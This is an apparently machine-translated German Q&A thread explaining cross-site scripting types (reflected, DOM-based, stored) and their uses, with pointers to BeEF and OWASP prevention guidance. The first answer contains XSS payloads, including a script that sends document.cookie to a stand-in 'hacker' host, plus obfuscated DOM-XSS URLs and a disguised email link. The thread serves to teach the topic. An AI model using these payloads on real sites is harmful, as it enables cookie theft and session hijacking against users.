it-swarm-eu.dev

Wie funktioniert XSS?

Ich habe sehr wenig Erfahrung in der Webentwicklung, aber ich interessiere mich für Sicherheit. Ich habe jedoch nicht vollständig verstanden, wie XSS funktioniert. Kannst du es med erklären? Der Wikipedia-Artikel gibt mir eine gute Idee, aber ich glaube nicht, dass ich sie sehr gut verstehe.

89
Ither

XSS - Cross Site Scripting (aber nicht beschränkt auf das eigentliche Cross Site Scripting)

XSS wird normalerweise auf drei verschiedene Arten dargestellt:

Nicht persistent (oft als reflektiertes XSS bezeichnet)

In diesem Fall können Sie Code einfügen, und der Server gibt ihn unbeaufsichtigt an Sie zurück. Oft kann dies ausgenutzt werden, indem eine (normalerweise unschuldig aussehende) URL in irgendeiner Form oder Weise verteilt wird, auf die andere klicken können.

Dies kann besonders effektiv sein, wenn Sie mit gezielten Angriffen gegen jemanden zu tun haben. Solange Sie jemanden dazu bringen können, auf die von Ihnen gesendete URL zu klicken, besteht die Möglichkeit, dass Sie erhöhte Berechtigungen für das System erhalten.

Beispiel:

Eine Site, die ein Suchfeld enthält, verfügt nicht über die richtige Eingabebereinigung. Durch Erstellen einer Suchabfrage, die ungefähr so ​​aussieht:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Wenn Sie am anderen Ende des Webservers sitzen, erhalten Sie Treffer, bei denen nach einem doppelten Leerzeichen das Benutzer-Cookie angezeigt wird. Sie könnten Glück haben, wenn ein Administrator auf den Link klickt, sodass Sie seine Sitzungs-ID stehlen und die Sitzung entführen können.

Durch die Verwendung von Techniken wie Spam-E-Mail, Message Board-Posts, IM-Nachrichten und Social Engineering Toolkits kann diese Sicherheitsanfälligkeit sehr gefährlich sein.

DOM-basiert

Sehr ähnlich zu nicht persistent, aber wo die Javascript-Nutzdaten nicht vom Webserver zurückgesendet werden müssen. Dies kann häufig der Fall sein, wenn beim Laden mit bereits residentem Javascript einfach der Wert eines URL-Parameters im laufenden Betrieb auf die Seite zurückgesendet wird.

Beispiel:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

Natürlich würden Kriminelle die URL ändern, um sie unschuldiger aussehen zu lassen. Dieselbe Nutzlast wie oben, nur unterschiedlich codiert:

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

Sie können es sogar besser maskieren, wenn Sie an E-Mail-Clients senden, die HTML wie folgt unterstützen:

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

Persistent

Sobald Sie in der Lage sind, einen XSS-Vektor beizubehalten, wird der Angriff sehr schnell viel gefährlicher. Ein dauerhaftes XSS wird vom Server an Sie zurückgesendet, normalerweise, weil das XSS in einem Datenbankfeld oder ähnlichem gespeichert wurde. Beachten Sie, dass die folgenden Eingaben in der Datenbank gespeichert und Ihnen dann in Ihrem Profil angezeigt werden:

<input type="text" value="Your name" />

Wenn Sie in der Lage sind, die Anwendung dazu zu bringen, nicht bereinigte Eingaben zu akzeptieren und zu speichern, müssen Sie lediglich andere Benutzer dazu bringen, Ihr Profil anzuzeigen (oder wo das XSS wiedergegeben wird).

Diese Arten von XSS können nicht nur schwer zu erkennen, sondern auch für das System sehr verheerend sein. Schauen Sie sich einfach den XSS-Wurm mit dem Namen Samy-Wurm an!

In den frühen Tagen von XSS haben Sie diese Art von Exploit in allen Gästebüchern, Communitys, Benutzerkritiken, Chatrooms usw. gesehen.


Zwei Angriffsvektoren

Nachdem Sie nun die verschiedenen Möglichkeiten zur Bereitstellung einer XSS-Nutzlast kennen, möchte ich einige XSS-Angriffsmethoden erwähnen, die sehr gefährlich sein können:

  • XSS-Verunstaltung

    XSS-Defacement ist keine schwierige Aufgabe. Wenn das XSS ebenfalls persistent ist, kann es für die Systemadministratoren ein Problem sein, es herauszufinden. Werfen Sie einen Blick auf RSnake Stallowed "attack", mit dem die Buchvorschau von Amazon deaktiviert wurde. Ziemlich lustige Lektüre.

  • Diebstahl von Cookies und Entführung von Sitzungen

    Wie in einem der obigen Beispiele können Sie, sobald Sie auf die Cookies der Benutzer zugreifen können, auch vertrauliche Informationen abrufen. Das Erfassen von Sitzungs-IDs kann zu Sitzungsentführungen führen, was wiederum zu erhöhten Berechtigungen auf dem System führen kann.

Entschuldigung für den langen Beitrag. Ich werde jetzt aufhören. Wie Sie jedoch sehen können, ist XSS ein sehr großes Thema. Ich hoffe, ich habe es Ihnen etwas klarer gemacht.


XSS mit BeEF ausnutzen

Um zu sehen, wie XSS ausgenutzt werden kann, empfehle ich, BeEF , Browser Exploitation Framework, auszuprobieren. Sobald es entpackt ist und auf einem Webserver mit PHP -Unterstützung) ausgeführt wird, können Sie ganz einfach versuchen, eine Simulation eines Opfers (Zombie genannt) zu erzeugen, in der Sie ganz einfach verschiedene XSS-Nutzdaten ausprobieren können ::

  • Portscan lokales Netzwerk
  • Pingsweep lokales Netzwerk
  • Senden Sie ein mit Viren infiziertes Applet, signiert und bereit
  • Senden Sie Nachrichten an den Client
  • Machen Sie einen Skype-Anruf

Die Liste geht weiter. Empfehlen Sie das Video auf der BeEF-Homepage.

UPDATE: Ich habe ein Artikel über XSS in meinem Blog geschrieben, der XSS beschreibt. Es enthält ein wenig über die Geschichte von XSS, die verschiedenen Angriffstypen und einige Anwendungsfälle, einschließlich BeEF und Shank.

80
Chris Dale

Um auf das zurückzukommen, was SteveSyfuhs gesagt hat, gibt es viele mögliche böswillige Möglichkeiten, wie XSS verwendet werden kann.

Beispiele:

Ein Beispiel wäre, schädlichen Code in ein Datenbankfeld einzufügen. Jedes Mal, wenn dieses Feld dem Endbenutzer unberührt angezeigt wird, führt sein Browser den Code aus. Dies wird als Persistent/Stored Cross Site Scripting bezeichnet.

Eine andere Möglichkeit wäre, Code in GET- oder POST -Parameter einzufügen, ohne dass diese validiert oder bereinigt werden. Wenn diese Variablen den Inhalt Ihrer Seite ändern, werden die geänderten Daten dem Endbenutzer angezeigt und ihr Browser würde dann den Schadcode ausführen. Dies ist normalerweise in Schadlinks per E-Mail/Web vorhanden, die diese GET-Parameter senden, wenn jemand auf den Link klickt. Dies wird als Reflected Cross Site Scripting bezeichnet.

Ressourcen:

Fortify Software bietet eine hervorragende Möglichkeit, Schwachstellen zu erklären und Beispiele zu nennen: https://www.fortify.com/vulncat/en/vulncat /index.html

  • Klicken Sie auf die Sprache Ihrer Wahl und unter Eingabeüberprüfung und
    Darstellung, die Sie aus den verschiedenen Arten von Cross Site auswählen können
    Scripting-Schwachstellen gemäß Fortify Software.

[~ # ~] owasp [~ # ~] bietet eine hervorragende Quelle, um zu erklären, wie XSS-Schwachstellen verhindert werden können: http: // www .owasp.org/index.php/XSS_ (Cross_Site_Scripting) _Prevention_Cheat_Sheet

14
Purge

Bei XSS geht es darum, beliebige Daten in ein System zu lassen und diese Daten dann einem Benutzer unverändert anzuzeigen. Wenn ich einige js in meinem Profil speichern und jemanden dazu bringen würde, diese Seite anzuzeigen, würden die js ausgeführt. Als Beispiel könnte ich die js den Inhalt des Benutzer-Cookies an meinen Webdienst senden lassen, damit ich mit ihrem Cookie tun kann, was ich wollte, wie ihre Sitzung zu stehlen.

9
Steve

Kurz gesagt, Cross-Site-Scripting bringt den Webbrowser dazu, schädlichen Code auszuführen, da die Entwickler nicht vertrauenswürdige Eingaben nicht überprüft haben.

Wenn Sie also einen Beispiel-XSS-Angriff nehmen, kann die nicht vertrauenswürdige Eingabe ein URL-Parameter sein, der JavaScript enthält. Der Entwickler geht davon aus, dass der Parameter nur Daten enthält (oder diese nicht ausreichend überprüft) und fügt einfach den Inhalt des Parameters zur HTML-Seite hinzu. Der Browser führt dann pflichtbewusst das JavaScript aus und Sie haben selbst einen reflektierten XSS-Angriff.

Weitere Informationen finden Sie hier: OWASP XSS-Seite

8
Ventral